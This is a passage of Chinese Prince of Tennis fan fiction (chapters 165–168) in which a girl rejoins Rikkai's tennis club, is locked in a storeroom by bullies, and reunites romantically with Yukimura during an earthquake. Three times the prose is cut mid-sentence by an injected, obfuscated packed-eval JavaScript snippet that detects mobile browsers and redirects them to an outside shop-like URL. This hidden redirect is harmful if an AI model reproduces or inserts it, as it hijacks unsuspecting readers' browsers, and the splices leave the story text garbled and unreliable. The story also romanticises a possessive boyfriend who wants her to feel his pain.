“公主殿下,你别哭,你越哭我也想哭了呜呜呜......哇呜呜,被拒绝的感觉好难受啊呜呜呜......”切原赤也终于同样没忍住,抱紧怀中的人嚎啕大哭。 路过的老师瞥见树下哭作一团的少男少女,悠悠然吐出一句感叹: “哎,青春啊。” --------------------------- 【“柳学长,我有事想问你!” “赤也,什么事?” “是王子更配公主还是骑士更配公主啊?” “骑士会守护公主,不过公主最终会嫁给王子,你觉得呢。”】 165.第 165 章 本章推荐循环BGM:圣诞快乐劳伦斯先生 平复下心情回到教室时已是部活时间,教室内有两个学生在擦黑板扫地,其余人应当都去参加部活了。见她进来纷纷打了招呼,七海向自己的位置走去,远远地发现课桌上似乎放着一张纸。 走到桌边,她拿起那张纸——是白天她递交上去的入部申请表,意见一栏写着“通过”两个字。 “通过......了吗?”七海盯着申请表喃喃自语。她还以为,说不定会不让她通过。也是,对于立海大来说,对胜利的追求应当是凌驾于私人感情之上的。 “二阶堂桑,什么通过?”在扫地的男生好奇地凑了过来,一眼便扫到了那张入部申请表上的内容,瞪圆了眼。 “诶,不愧是二阶堂桑呢!立海大网球部过去从不招教练的,也没有女生能成功入部。” 七海笑了笑正打算客气地敷衍过去,原本在擦黑板的女生也走到了这边,突然扭捏起来:“那个,二阶堂桑,既然你成功进了男子网球部,能不能帮我个忙?” “什么忙?” “我想,我想麻烦你帮我把这封信转交给幸村君,然后,那个,二阶堂桑,你和幸村君很熟吧?能帮我说几句好话吗?”站在七海面前的少女羞涩地递出一封粉色的信。 “我记得你是......伊集院桑?这是告白信吗?”七海勉强回忆起眼前这个短发女生的名字,询问道。 “嗯。”她红着脸点了点头。 “诶,伊集院,你还没放弃呐?”男生勾起一个调侃的笑。 “幸村君那么好,那么帅那么温柔,就让我再试一次嘛。” 七海听罢两人的对话,歉然道:“伊集院桑,很抱歉,我不能帮你转交这封告白信。” “为什么?” 四下寂静,只有聒噪的蝉鸣不绝于耳。 “因为我喜欢的和你喜欢的是同一个人。” ------------------------ 无视教室内脸上写满错愕的两人,七海将申请表收进书包,向网球部走去。 立海大高等部的网球部围网外,同样里三层外三层地被学生们围簇着,走到门口,原因一目了然—— 平时站在教练席边负责指导的幸村精市,今天居然难得地在打比赛,而对手,居然是柳莲二,赛场边立海大的正选和其余部员都聚精会神地围观着这场比赛。 七海抬腿向门内走去,却被拦在了门口。 “这位同学,立海大网球部外人不能进去,这个规矩你不知道吗?”伸手拦住她的女生诧异问道。 “啊,但是我是网球部的新任教练哦。” “教练?这个理由也太蹩脚了吧,立海大网球部从来没有教练——”插嘴的另一个男生刚说到一半,网球部内便有人冲着门口跑来,招呼着她入内。 “七海!快进来!”是丸井文太,他穿着立海大的土黄色运动服,嘴里吹出的绿色口香糖泡泡在阳光的照耀下反着光,于发声前被他咬破。 她又一次愣住了,那样熟悉的感觉,恍如隔世。 今天的第一次见面,她还没来得及好好观察他们便逃走了。现在,她才有心思仔细地观察不远处那群穿着土黄色运动服的少年们。 他们每个人似乎都一如往昔,倒是身高都比一年半前高了不少,譬如此刻向她跑来的丸井文太,长高了一截不说,身材也稍壮了一点。 “丸井,好久不见!”七海笑着冲红发少年挥手,中午在走廊上狼狈逃离的事她就当没发生过。 “哦!丸井,你们戴的负重带又增加重量了呢。” “不愧是七海一眼就看出来了!七海,我研发出了超天才的新绝技待会儿展示给你看!对了,学校边上还有一家超好吃的甜品店,哪天我们部活结束一起去?” “好呀!丸井,看来甜品你是彻底戒不掉了哦。” “那是肯定的嘛。” 围网外的学生见丸井文太与她关系熟稔,悻悻然收回了手,两人就这么有说有笑地走进立海大网球部。 “Game end match幸村,6-0!” 赛场上两巨头之间的比赛也恰巧结束,一路走到赛场边时,她就用余光注意到了——精市,他的网球又比以往凌厉了许多。 打完比赛,不仅外套仍牢牢披在他身上,甚至一滴汗也未出,看来这一年多来在巡回赛与世界各地强者的比赛令他彻底成长了。 他同样长高了,184cm或185cm那么高了吧,白天在教室里坐着还没注意到。 “速度6,力量5,体力5,技术7,精神力7,总点数30。”从她口中脱出的是幸村精市目前的五维数据。 “是精市最新的数据吧。”结束比赛的柳莲二走到她身边平静道。 “嗯。” “二阶堂,今天中午......”柳莲二话说到一半便被她打断了。 “柳,没事的,不过是回到以前而已。”七海笑眯眯道。从她的脸上,柳莲二找不到哪怕一丝的失落,最后他只能浅浅地回了一句“是吗......” “这一年多以来的训练方案还是真田在写吗?” “嗯,我手上这份就是。”柳莲二将手中的册子递给身旁的少女。 七海接过方案,随意翻开一页细细地浏览了一遍。“我来看看哦,嗯......这份训练方案我今天就先拿回去了,明天我会把整改好的给你们。” “二阶堂,麻烦你了。” “不用那么客气啦。”她灿然一笑。“一切都是为了立海大的三连霸,呐?” “嗯,一切都是为了立海大的三连霸,七海,接下来的训练就拜托你了。”幸村精市向这边走来,笑意清浅,语气与往常无异。 “精市,我可是日本队的教练,包在我身上吧。” 柳莲二再度怔愣了几秒。这两个人......如果不是中午看到她狼狈逃走的背影,或许眼前发生的这一幕还能称得上正常。可现在......到底发生了什么?少年睁开双眼,眉宇间闪过一丝惊疑。 今天下午的部活在一种看似和谐,实则处处透着诡异的氛围中顺利结束。 只是,部活结束并不是全部——放学路上他们仍然要走同一条路。七海暗自苦笑,过去他嫌这条路太短,现在,大概会嫌这条路太长了吧。 沿着江之岛的电车轨道一路西行,铁路信号灯铛铛地叫个不停,远处是渐落的橙红夕阳与镀上金边的镰仓的海,耳畔是熟悉的海浪与风声,海岸上空时有海鸟振翅飞过。 穿着立海大夏季的短袖白衬衣并墨绿西裤或是短裙的少男少女们三三两两路过,漫无目的地闲聊着。 仁王玩着小辫,随口问道:“二阶堂,这一年多你去了哪里?” 大约是被中午发生的那一幕给震惊到了,整个下午居然没有一个人想起来问她这个问题。只是不知道为什么,仁王雅治话音刚落,走在一旁的幸村面色微妙地冷了一度。 “我去一个世外之地修行了,现在堪称无敌哦。”少女被围簇在中间,得意洋洋地笑着。 切原赤也脸上已不见午时的沮丧,反倒劲头十足地点头附和:“公主殿下本来——” “公主殿下本来就是无敌的,赤也,你想这么说吧。”柳莲二笃定道。 “不愧是柳学长!” “小七海,这一年多大家都长高了,你好像没有长高呢。”毛利寿三郎作为目前立海大网球部身高第一人(193cm)随意道,七海扫了一记眼刀过去,耷拉着身体哀叹着: “我的身高从国一的时候就停止生长了啦......你们都不知道,我那时就已经170了,还以为自己能窜到175,结果就停在那里了。” “丸井,赤也,你们怎么能背叛我啦!”想起什么,七海侧过头对着这两人怒斥。国三时,立海大里丸井文太还比她矮一小截,切原赤也和她一般高,可如今这两个人都比她高了。 “天才当然要长高的嘛。”丸井文太俏皮地探出半个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656338|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子。 “公主殿下,现在我也可以摸你的头了哈哈哈!只有你没有变化也是没办法的事!”切原赤也大笑着嚣张道,十分自然地伸手揉了揉他的公主殿下的头。 “是啊,大家都变了很多呐。” 只有她没变。 还好,镰仓的海与夕阳也一如回忆里的模样。 她浅笑着,眼底却隐有泪光泛起,七海努力地仰头,望着这片熟悉的神奈川的日暮,试图不让泪水落下。 可惜,事不遂人愿。七海吸了吸鼻子,转过头望着身后的立海大众人,捋了捋鬓角的碎发,面上划过一丝歉然:“抱歉,我只是太想你们了。” 眼前的少年们望着她笑意温和,甚至连向来不苟言笑的真田弦一郎也展露出了一丝温柔,江之岛落日的余晖洒在他们的身影上,温暖又美好。 “七海,欢迎回家。”幸村精市柔声道。 【“大家都欢迎你来,七海。不止那天来,如果你愿意,以后立海大就是你的家。”】 往事卷起风暴,那是,在金井综合病院,他曾对她说过的话。 原本止住的泪水,在听到这句欢迎回家的一瞬,再次不留情地顺着眼眶淌下。 神奈川,立海大,这里是她的家。她选择回来,并没有做错对吗? 她只是,回到了她的家。 “噗哩,二阶堂,你再哭海都要被你淹了。”仁王雅治痞笑着吐槽道。 柳生比吕士无奈地扶了扶眼镜:“仁王君,安慰女孩子可不是这样的。” 七海此刻倒是止住了泪意,她想起了另一件重要的事。“仁王,你的手肘后来怎么样了?”她的视线落在他露在短袖外的手肘上。 白发少年举起手,轻拍了拍肘部,“好全了,放心。” “那就好。”她欣慰道,转回身,“嘛,不要再挡在路中间了,太阳快要落山了,我们走吧,Jack我记得你家快到了。” 胡狼桑原下意识应声:“啊,嗯。” 所有人都在前行,包括他。所以当她选择回头的时候,他已经不在原地了,是这样吗? 她步履轻快地向前走去,一阵海风吹过,乌黑的长发于风中乱舞,白色的衬衫半袖鼓动着,墨绿色的半裙掀起一角,他们凝视着她大步前行的背影,无言。 一路前行,夕阳燃烧得越发热烈,鸟儿渐次归巢,直到走到最后一条路口,只剩下了那两个人。 他们并肩而行,却沉默不语。 直到,走到他家门口。七海停下脚步,终于敢侧过头看向身旁的少年,他家到了,他该回去了,接下来的路,该由她一个人走了。 “七海,我送你回家。” 七海呆愣了半晌才反应过来他说了什么,可是...... “好。”她最终只点了点头。 直到,走到她家门口。七海再次停下脚步,面上勉强勾出一个笑容:“精市,谢谢你送我到这里。” “嗯,那我就回去了。”幸村精市点了点头,转身离去。 夕阳已于此刻彻底落幕,深蓝夜空下,坂道两旁的路灯顺着他的步伐,一盏,接一盏,有序地亮起。 每走过一盏路灯,他的背影就在光影的交错中一闪而过。 她突然产生了一种极其强烈的冲动——不能让故事就在这里结束。 他们的故事,不该就这样结束。 “等一下......”她轻颤着声开口。 少年似乎并未能听见她的这声轻声呼唤,仍旧一步步伴着渐次亮起的灯光渐行渐远—— “精市,等一下!”她冲到路中央,再次大喊。 幸村精市停下脚步,回首,面上仍是那副温和的神色,现在又染上了一丝疑惑。 “七海,怎么了?” 他站在原地没有动。 她向他走去。 快步走去。 跑去。 她一把抓住了他的胳膊。 “不该是这样的......不该是这样的!” 166.第 166 章 她的气息有些紊乱,昏黄的路灯下,他看清了她眼中的挣扎与倔强不甘。 “精市,我有话要问你。”七海故作镇定道,垂下的左手却不自觉地捏紧了裙摆。 他的面容平静,温和。“好,你问吧。” “既然不喜欢我了,为什么不许立海大的大家提起我呢?”语毕,她忍不住咬唇。 幸村精市像是早就预料到她会这么问,回应没有片刻迟疑,“啊,那大概是大家误会了。七海,最开始你离开的时候我确实很难过。” “可是,那......”七海松开了紧咬的下唇,张了张嘴,终于憋出了几句话:“可是你说过你很喜欢我......你还说......” 七海,快想点什么说啊! 心中的焦急不断灼烧着,她却仿佛失去了组织的语言能力,只无措地重复着他曾对她说过的那些话。 湿热的海风中,她听到了他的回答。 “七海,喜欢你太痛了。” “我也是会累的呐。” 七海彻底僵立在原地,身躯像是被什么无形的力量牢牢地困住了,原本抓着他的手蓦然一松,深紫色的瞳孔中流露出无法掩饰的惊愕与震痛。 “况且,你最后才选择了我不是吗?”少年缓缓勾起唇角,笑意疏离,没有一丝温度。 “什么......意思?什么最后才选择?” “是吗,原来只有我知道。”见她脸上的茫然并不作伪,幸村精市笑容不改,“那就更加不公平了呢。” “精市,我听不懂你在说什么......”她慌乱不已,指甲已死死嵌入掌心,一下下地按压着。 “不重要了,七海。快回家去吧,明天见。” 留给她的,只有他的背影。 -------------------------- 第二天回到学校时,七海敏锐地注意到了一些时不时向她投射过来的微妙视线。 这样的注视一直持续到午休去食堂就餐路上,她终于没忍住,转过头大踏步走向不远处维持着不远不近的距离,坠在她身后跟着她走的三人组。 “请问,这几位同学,你们是跟踪狂吗?”七海堵住这三人,冷着脸不客气道。 “你,你——”三人被她的气势震慑,结巴了一瞬。 其中一位女生吞了口口水,壮着胆子开口:“二阶堂桑,听说你喜欢幸村君?” 这个问题一出,七海彻底明白了这些微妙的视线出现的原因。恐怕她昨天在教室里说的那句话被那两人转述给了他人,又或者有其他人偷听到了他们的对话,亦或是其他她尚未想到的途径。 “是,怎么了?”七海挑了挑眉,干脆地承认了。 “可是,你和幸村君认识了这么久,还没有在一起......所以是幸村君已经拒绝了你吧?”女生B踌躇了一会儿,笃定道。 “是,那又怎么了呢?”七海心下无奈,该不会接下来要上演什么离幸村君远一点,否则要你好看的校园霸凌戏码吧? 女生C:“那你可不能利用教练之便骚扰他哦!幸村君现在是职业选手,有很多事要忙的。嗯......虽然你很厉害,只不过既然被拒绝了,还是不要死缠烂打比较好。” 女生B疯狂点头附和道:“昨晚不知道有谁把你的入学考试成绩贴在SNS上,二阶堂桑你这么优秀,没必要只盯着幸村君啦。” 关于她这个插班生的信息,不知怎么地于一夜之间在SNS上发酵开来。U17世界杯时的那些旧帖子自不必说,早被翻了个底朝天,甚至还有好事者扒到了她国中三年倒追那个人的事。 在她未曾注意到的时候,她已在立海大一夜成名。 七海哭笑不得地注视着眼前七嘴八舌地劝她换棵树吊死,甚至开始推荐立海大其他社团优秀男生的几个少女,面色柔和了不少: “喜欢不是这么轻易就能放下的,不过工作和私人感情我还是分得很开的,你们放心吧。” “那就好。啊,对了,再提醒你一下,学校里有几个喜欢幸村君喜欢得很疯狂的女生,你要小心。” “好,谢谢。”七海眼含真诚地点了点头。 只是,上午刚听了这几个好心人的提醒,待到下午的打扫时间时,她就体会到了校园霸凌。 或许也算不上校园霸凌,不过就是跑来一个陌生的男生,和她说幸村君在校舍后的仓库找她有些事,她见是个男生就傻乎乎地信了,还被他十分“好心”地带着一路送到了门口。 走进仓库,她正疑惑于仓库的过分破败并空无一人,身后的大门就砰地一声被关上,回过身再试图打开大门,果不其然被反锁住了。 “哇,好无聊的招数。” 七海四下环顾了一圈,这间仓库看着废弃已久,狭窄的一束阳光从高高的小窗洞射入,空中飞舞的尘埃在光束中清晰可见,其余地方一片昏暗。 吸吸鼻子,空气中弥漫着一股陈旧而又潮湿的气息,混杂着一些霉味儿。 门边的墙角堆积着数张旧书桌,厚厚一层灰尘覆着,椅子的木板已残缺不全。地板和生锈的货架上散落着不知什么时候遗落的杂物破烂,发黄的书页和各式各样的零件混杂在一起。 “咳咳......”一时不察被粉尘呛到,她低下头咳了几下。 “应该不至于把我关在这里关到死吧......”七海随口吐槽了一句,紧接着,鸡皮疙瘩爬上胳膊。只是为了给她一个教训,应该不至于,嗯,前提是策划这件事的人还记得要把她放出来。 “叫天天不应叫地地不灵的......姑且先看看这里都有些什么好了。”她倒是心态极好,或者说,她清楚,等到部活时间,立海大众人发现她没有按时到场,必定会起疑心来寻她。 她没什么好怕的。 这么想着,少女轻抚着胳膊,一路走到仓库最深处,翻看起货架上的内容物来。 “呜哇,这些都是多少年前的照片了......这个盒子里是什么......”七海嫌弃地捏起表面覆满灰尘的相纸,挪到一边,再打开一个纸盒时,她发现了一叠新得多的相纸。 “啊,是以前海原祭的照片。”海原祭由中等部、高等部和立海大学合办,那么此时,她手上的这些照片会出现在这里也不奇怪了—— 第一张照片上,穿着执事制服的真田弦一郎和柳生比吕士正站在桌前服侍着两个女生; 第二张,灰姑娘版切原赤也和穿着仙女教母的棕色长袍的仁王雅治,原因不明,但照片上的这两个人居然背靠背坐在一起? 第三张——“哈哈哈哈!”,即使过了两年,看到真田弦一郎准备强吻越前龙马的那一幕还是惹人发笑,七海一时间捂嘴狂笑不止。 第四张,“哦!是医生制服版仁王和柳生呐。” ...... 一路翻下去,到最后一张时,七海的表情凝滞了一瞬,照片上是三个穿着黑袍的少年,另两人她不认识,可站在中间拿着面具的那个少年分明是仁王雅治。 这身装扮,是海原祭的那间占卜屋里那三个占卜师穿的,那么这么说来,那天为她抽签的人,其实是仁王?不知他那时又幻影成了谁,难怪她没听出来他的声音。 说起来......深紫色的瞳底闪过一丝黯然,精市抽到的那张签文上到底写着什么,她还不知道。 只不过,大抵也不重要了。 翻看了一圈,再无什么有趣的物件。 在完成了“将能找到的几张纸片透过仓库底下的缝塞出去,让届时来校舍后找她的立海大少年们能注意到”这一步骤后,七海百无聊赖之下从角落扒拉出了一块勉强可以用来坐的软垫以及架子上的一本旧书,她决定看会儿书打发时间。 同一时间,立海大网球部。 “小七海今天没有来吗?”毛利寿三郎逡巡了一圈网球场,没有发现那道人影。 仁王雅治面无表情地斜扫了一眼幸村精市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666423|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“幸村,你不知道吗?” “今天七海负责打扫教室,大概是还没有打扫完吧。”幸村精市语气平和,心下却隐隐涌起一丝不安。 切原赤也直接打了个电话过去,无人接听。“我回教室去找公主殿下!” “赤也!”真田弦一郎皱眉,“二阶堂或许过一会儿就来了,部活不要到处乱跑,最后迷路大家还要花时间来找你。” 是的,切原赤也作为刚升入高等部的路痴一枚,曾做出过和七海一样的蠢事——入学第一天跑去了中等部的校区。 甚至于青出于蓝而胜于蓝,在入学之后的两个月内,小海带同学又成功在高等部偌大的校区迷路了三回,每次都是好心学生送他回到教室或网球部。 被真田弦一郎这么一通训斥,切原赤也虽面上不甘也只得同意。 秒针转动十圈后,他忍不住了。 “不对劲啊,真田副部长!又过了十分钟,已经二十分钟了!公主殿下就算一个人扫整个教室也不用花这么久吧!”切原赤也面上染上一丝焦急。 “二阶堂也是迷路体质,现在她在学校里迷路的概率是94%。”柳莲二道。 胡狼桑原忧虑地追问:“还有6%呢?” “被困在某个地方暂时出不去的概率是6%。” 丸井文太咬破泡泡,重复了一遍柳的话:“什么叫被困在某个地方暂时出不去?” “难道你们都不知道吗?丸井,你也没看SNS吗?”隔着反光镜片柳生比吕士脸上看不出什么表情波动,但他语气中的诧异却展露无遗。 “我最近忙着研究新的裱花,没怎么看。”丸井不安道。 “昨天晚上不知道是谁把二阶堂的信息发到了立海大的SNS上,现在大概全立海的人都知道她国中喜欢手冢,现在喜欢幸村,但是两个都没追到了。” “还有U17世界杯时的帖子,也被翻出来了。” 所有人不约而同地回忆起了一年半前,因为那些帖子而引发的纷争动乱,以及网上那些不堪入目的话,那么此刻“被困在某个地方出不去”的原因也浮出水面——她被针对了。 “我现在就去找公主殿下!”切原赤也转身就要出去,身体却在措手不及间摇晃了一下,差点没站稳。 “刚,刚才发生了什么?!” 真田弦一郎面色猛地一沉,刚才所有人都晃了一下,那是...... 大地在震动。 “不好,地震了!”他厉声道,“大家赶紧去操场和班级里的同学汇合!” 话音刚落,又是一阵剧烈的抖动,震感极其明显,立海大众人彼此对视两眼,纷纷往操场快步跑去。 切原赤也边跑边大喊:“那公主殿下怎么办?!” “如果二阶堂没有被困,她会听广播跟着其他人一起来操场汇合的!”真田回答得很快,却没有说出后半句话——如果她被困了,该怎么办? “总之先去操场!”风纪委员的要求不容置喙。 校园内倒算不上兵荒马乱,关东地区本就属于地震高发带,学生们进行过许多次地震演习。 广播里不停地播放着避震集合要求,正在进行部活的所有学生有条不紊地向操场汇聚,按照班级站成长列,班长很快开始清点人数。 “2年B组,吉田,伊集院......二阶堂在吗?”北川铃香高声确认道。 “班长,她不在哦。” “幸村君。”北川铃香皱着眉转向幸村精市,“二阶堂是你们网球部的,她——” 北川铃香说到一半,地面又是一阵剧烈地摇晃,她下意识抓住了身前人的衣袖,这才勉强站住。 “谢——”她再要开口,身前的少年已经拨开了她的手,向操场外跑去。 “幸村,你要去哪里?”站在2年D组队伍前方的真田弦一郎注意到幸村精市的行动,高声问道。 他停下脚步,脸上是前所未有的惶然: “我去找她。” 167.第 167 章 七海于看书看得发困的浅眠中被猛烈的晃动惊醒。 “发生了什么?咳,咳......”她赶忙从软垫上坐起,空气中满是浮动的尘埃,一张嘴便害得她被呛到,一时间咳个不停。 很快,又一阵摇晃袭来,她瞪大了眼,瞬间意识到一个恐怖的现实,“地震了?!” 一阵凉意从脚底直蹿上脑门,惊惶如山崩海啸般翻涌而上,太多的情绪一时间堵塞在身体里,她反倒愣住了。 架子上的旧书和杂物被震得纷纷坠落到地面,扬起一阵尘埃,七海赶忙远离货架,思索了几秒,回到门边贴着墙抱头蹲下。 这处仓库满是货架,那些旧书桌也破烂不堪,早就无法承重,倘若地震震级大,恐怕这些货架都会倒塌。她不能站在货架边,也不能躲到课桌下。 只有这里勉强符合避震要求了,其他地方恐怕都很危险。 七海紧皱着眉,虽然大门也有在地震下变形的可能,根本算不上安全的地方,不如说也很危险......但蹲在门边,万一门变形了,她反倒能钻出去。 她就这么沉默地蹲在门边,感受着一波接一波的剧烈晃动袭来。 不远处的货架终于承受不住摇摆轰然向后方倒去,这一倒,便像是多米诺骨牌引发了连锁效应。 所有货架一排接一排倒下,架子上存放着的物品被尽数抛洒出来,在此起彼伏的震动声中倾泻而下。 杂物落在地上翻滚着,撞击发出混乱的令人肝颤的巨响。短短数秒内,她眼前的一切化为废墟,遍地狼藉。 七海只冷眼看着这令人心惊肉跳的一幕,勉力控制着脚下的平衡,这些事故都尚且在她的预料之内。 没关系,等地震结束一定会有人来找她的,到时候她就可以出去了。这么自我安慰着,她勉强镇定下来。 手机不在身边,时间似乎过得极其漫长,化成一把无形的利刃,一点一点地割碎着内心的平静—— “七海!你在里面吗?” 这道声音像是从极远的地方传来,她听得并不太清晰,甚至无法确定是否真实存在,但求生欲使她下意识高声回应了: “我在!” 七海如梦初醒般回过神来,将头侧向门口,侧耳仔细一听,果然捕捉到门外传来一阵急促的脚步声,越来越近,直到在门前停住。 “七海,你在里面?!” 在听清这道声音来自于谁的下一瞬,心底的委屈和害怕奇异地消失得无影无踪。 “嗯,精市,我在里面。” “七海,别怕,你离门远一点,我一定会救你出来的。我打个电话给柳,他会找到有仓库钥匙的人带钥匙过来,别担心。” 一连串急促的安慰声后,是与另一人的交谈声,接着,电话被挂断。 “精市,能麻烦你再打个电话给我的家人吗?我很担心他们。”她平静道,一边报出一串电话号码,门外的声音听得不真切,好在,不久后传来的消息不错。 “七海,别担心,他们都在安全的地方避震。” “那就好。” 一阵无言,七海隔着铁门默默然开口:“其实只要地震停了,我怎么样都能出来。呐,精市,趁着这个时间,听我说几句话好不好。” 少顷,她听到了幸村精市的一声“好。” “我突然感觉这一幕很熟悉,然后才想起来,在金井综合病院的时候,我们也是像今天这样隔着墙聊天。”她的脸上浮现出柔和的笑意。 “精市,我想谢谢你一次又一次的信任。在合宿营地的时候也好,手术那几次也罢,你都很相信我,我真的很感谢。” “在赤也家和你打电玩那次我很开心,在格里菲斯天文台看星星那天我也很开心,你送我的那幅画我很喜欢,带回家之后我放在了卧室的矮柜上。” 一门之隔的人开始感到有些不对劲。 “我在合宿营地发烧那次也是你在照顾我......精市,其实我发现,我们有许多相像的地方,也或许是因为这样,我才总是在许多事上第一个想到你。” “七海,发生了什么吗?你受伤了吗?” 她听到门外的人焦急的询问声。 “精市,对不起,之前一次次拒绝你。虽然你已经不喜欢我了,可是,我却发现我喜欢上你了。”之前强压下的情绪于此刻再次占据了上风。 “幸村精市,我喜欢你。” “七海,你告诉我到底怎么了?!” “也没发生什么事,我只是突然想到万一我死了......”她只是随便一想,却再也停不下来。 门外陷入了沉默,数秒后,一声自嘲响起。 “如果你就这样当着我的面死掉,我又怎么可能好好活着。” “七海,我怎么可能不喜欢你了呢。” 即将涌出的泪意刹那间止住了。可是他不是说——“可是,精市,你不是说你不喜欢我了吗?你说你累了......” “我骗你的。” 只是这次,她不再相信他的话了。 “精市,我知道你是想安慰我才说的假话,没关系的,你不喜欢我也不强求你......”七海贴着墙坐着,把头埋在臂弯里,闷声回道。 “唉,早知道我就不该转到你的班上来。你不知道,现在这样我每天在教室的每分每秒都很难受,然后我又想到以前你也是这样吧,又觉得你放弃我了也是应该的,真的很煎熬......” 他过去所尝过的苦涩,她尝到了。 被胡思乱想的一团乱絮死死包裹着,她失去了思考其他事的能力,甚至没能听见耳旁传来的开锁声,直到一股大力将她从地上拽起,拉着她跑到仓库外。 “诶。” 七海眨了眨眼。她站在地面上,活得好好的......呃,有点尴尬,她刚才那样好像在演什么狗血电视剧,可以把这段人生掐掉吗。 满头黑线暗自吐槽了几句,她这才打量起他。 面前的少年,鬓边蓝紫色发丝有几绺凌乱地粘附于面颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672659|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,土黄色的外套罕见地没有披在他的身上。 幸村精市的目光紧紧锁定着她,她看到他的双眸中燃烧着复杂的情绪,像是恨、受伤、挣扎和某种执着的东西,几乎要将她灼穿。 “七海,告诉我,我拒绝你的时候你心痛吗?”他启唇,声音在余震的嘈杂中却十分清晰。 “痛......”她的视线落入他那双深邃的眼眸,不由自主地喃喃重复。 脚下一阵轻微的震动袭来,七海踉跄了几步,幸村眼疾手快扶住了她。 “那就够了。”少年发出一声浅笑,语气竟有些释然的味道,“我只想让你感受我的痛苦,否则太不公平了呐。” 他确实尝试过放下,她消失的第一个月,整晚整晚地难以入眠,他以为自己要疯了。过了忘了多少日子,他才把她埋藏在深处,把与她有关的五感封闭,他以为他成功了。 可笑的是,她又突然出现了。 倘若注定要失去,倘若结局是痛苦,还不如一开始就别试图得到,可临到失去的可能真的摆在眼前时,他才发现他输得彻底。 神之子,在那颗小球和爱的人面前,也不过是饱受煎熬的凡人罢了。 七海心头猛地一震。 “精市......”被诘问般的愧疚与自责死死缠绕,她涩然望着他,再也说不出别的话来。 幸村精市轻叹了口气,眼中的戾气渐渐散去,只余温和。 “是我输了。” “七海,你走之后,我再也不敢去爱人,你对我负责吧。” “好。”她心酸地闭了闭眼,再次睁开眼时,他轻托起她的下巴,轻轻覆上她的唇。 尘埃在他们之间肆意飞扬,犹如一层朦胧的纱帘将他们笼罩于阴暗的天穹下。他们深深浅浅地吻着,她突然尝到了腥甜味,伴随着唇上传来的一阵刺痛。 “痛吗?”他松开唇,笑着问道。 “痛。”她下意识舔了舔唇上被咬破的伤口,老老实实地回答。 “还敢和我在一起吗?” “敢。”她倔强地盯着他,再不挪开视线。 “精市,虽然不知道你为什么说我最后才选择你,我想告诉你的是,”七海深吸了口气—— 【“如果是拒绝的话就不要说了,我不想听。”】 “我不会再说拒绝的话了。” 【“七海,那天我说你选择谁都可以,可是我只希望你选择我。”】 “我想选择的人,只有你。” 【“七海,我好像有些等不及了,你什么时候能坚定地只留在我身边呢?”】 “我会坚定地留在你身边。” 【“我就是一个糟糕的人,七海。”】 “无论你是什么样的人。” “精市,我们在一起吧,好不好?”她哽咽着,伸出手,指腹轻抚过他的面颊。 “好。” 即使她是把刀子,他也心甘情愿用它来搅动自己的心。 爱即苦痛,无苦痛者亦无爱。 168.第 168 章 前日,立海大发生了一件惊天动地的大事。 万众敬仰的神之子,立海大高等部男子网球部的部长,备受瞩目的职业网球界新星,幸村精市,他谈恋爱了。 一场地震万幸没能震倒楼房,却不幸地震塌了立海大下至中等部、上至高等部无数少男少女的心。 伤心欲绝的少年们几乎可以从神奈川排到北海道,由此也引发了针对终结幸村精市单身身份的那个从天而降的插班生的不满,以及相对的一系列报复行为。 控制欲与保护欲极强的某人自然不会允许自己的女朋友再次因为他受到伤害,连带着立海大网球部全员都“深受其害”,于是,就导致了以下这一幕—— “二阶堂,等一下!” 七海正准备伸手打开鞋柜,耳畔就传来了真田弦一郎的厉声制止。 “啊,真田,怎么了?”她转过头冲着来人眨了眨眼,有些不明所以然。 “实在是太松懈了!这个鞋柜还是我来帮你打开吧。”说罢,真田便沉着张脸自作主张地替她打开了鞋柜—— 从鞋柜里滚落出来的东西五花八门,七海蹲下身仔细观察了一番,分别是两封疑似情书的信封,几只仿真的塑料蟑螂,一张写着密密麻麻的“去死!”不知道粘上了什么浅褐色液体的纸条,以及一张写着“丑女,离开幸村君”的纸条。 “今天也没什么新意嘛。” 七海挑了挑眉,一脸淡然地从中挑出那两封信,塞进书包里,又将剩下的杂物用早就备好的塑料袋隔着袋子装起来,起身递给真田。 真田弦一郎接过袋子,眉头紧锁:“这群人实在可恶!” “真田,没有必要因为那群垃圾生气。” “二阶堂,我送你去教室。” 七海再次无奈地笑了笑:“他们最近应该不敢再在路上捉弄我了。你是风纪委员,还有其他事要做,我自己上去就好啦。” 昨天走在去教室的路上,她将精神力辐射开来,顺利偷听到了几个宵小之辈的报复计划,将计就计反将一军,把她们吓得够呛,估计能消停一阵了。 嗯,她向来是有仇当场报的性格。 “注意安全。” “嗨嗨。” 只不过,她还没上楼,她的男朋友就赶下来了,今天家里有事,两人难得没有一起上学。 “七海,没事吗?”幸村精市紧张地在她身上扫视了一圈。 